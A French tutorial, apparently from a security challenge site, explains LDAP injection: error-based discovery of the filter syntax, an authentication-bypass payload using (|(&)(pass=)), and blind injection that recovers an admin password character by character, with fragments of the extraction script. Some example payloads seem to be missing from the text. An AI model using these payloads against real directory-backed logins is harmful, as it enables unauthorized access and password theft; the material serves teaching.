Voici un bref aperçu des injections LDAP. Nous retrouverons les deux types d'injections: les standards avec connaissance de la syntaxe, et les injections à l'aveugle.
Le principe est identique aux autres types d'injections SQL, XPATH. Seule la syntaxe change.
La requête de base pour une authentification LDAP est:
resultat=(&(user=<valeur>)(pass=<valeur>))
Pour en être sûr, ou pour connaître la syntaxe de la requête, nous pouvons, comme pour une SQLi, provoquer une erreur dans la requête, exemple en mettant ')' dans le champ user, on obtient:
ERROR : Invalid LDAP syntax : (&(uid=))(userPass=)))
La première parenthèse fermante fait partie des valeurs saisies, elle ne doit pas être prise en compte dans la construction de la requête. Le & représente l'opérateur logique AND, et les deux variables user et pass représentent deux champs présents dans l'annuaire LDAP.
Le but de l'injection est donc de bypasser le password. pour cela, on peut compléter la requête par d'autres opérateurs logiques.
Pour valider la requête, il faut qu'elle renvoie TRUE, donc que user ET password soit vrais. Le plus simple, est de saisir:
Cela va donner:
Il est possible qu'une vérification sur la présence du caractère * soit faite sur le champ pass. D'où la nécessité de saisir quelquechose dans ce champ.
Nous pouvons forger la requête suivante en rajoutant dans le champ user un autre opérateur logique comme le OR représenté par un pipe |:
resultat=(&(user=*)(|(&)(pass=))
Le terme (&) renvoie toujours vrai, c'est très pratique pour compléter des filtres.
Cette requête bypasse le password avec une parenthèse fermante pour respecter la syntaxe de la requête. Il faut la lire comme suit: user=(* ET ('VRAI' OU pass=))
Un exemple: resultat=(&(<champ1>=*<valeur1>*)(<champ2>=*<valeur2>*))
Nous essayons avec quelques valeurs afin de comprendre sur quel(s) champ(s) est faite la requête:
3 results sn : Alice Email : alice@zenk.org sn : Patrick Email : patrick@zenk.org sn : admin Email : admin@zenk.org
Avec plusieurs essais de requêtes, nous en déduisons que la requête doit contenir les champs sn et mail. Le champ “mail” est déduit des différents essais notamment en saisissant un @ qui renvoie tous les users avec une adresse mail. C'est sur ce champ que la valeur est testée.
Nous devons avoir une requête se rapprochant de cela:
resultat=(&(sn=*)(mail=*<valeur>*))
En remplaçant <valeur> par notre injection *)(<champ_contenant_password>=:
resultat=(&(sn=*)(mail=<user_test>*)(<champ_contenant_password>=*))
L'injection: resultat=(&(sn=*)(mail=*a*)(<champ_contenant_password>=<caracteres à tester>*))
Il faut respecter les *, à savoir en rajouter une à la fin de la valeur du champ mail, et ne pas en mettre à la fin de password, il y en a déjà une, elle correspond initialement à l'étoile fermant la valeur de mail.
resultat=(&(sn=*)(mail=*admin*)(password=d*))
nous déduisons de tout cela que seul le user admin possède le champ password mais tous les users ont un champ userpassword!
Il ne reste plus qu'à tester tous les caractères du champ password pour le user admin:
req=page+"Alice') and starts-with(../password,'"+passwd+carac
par:
req=page+"a*)(password="+passwd+carac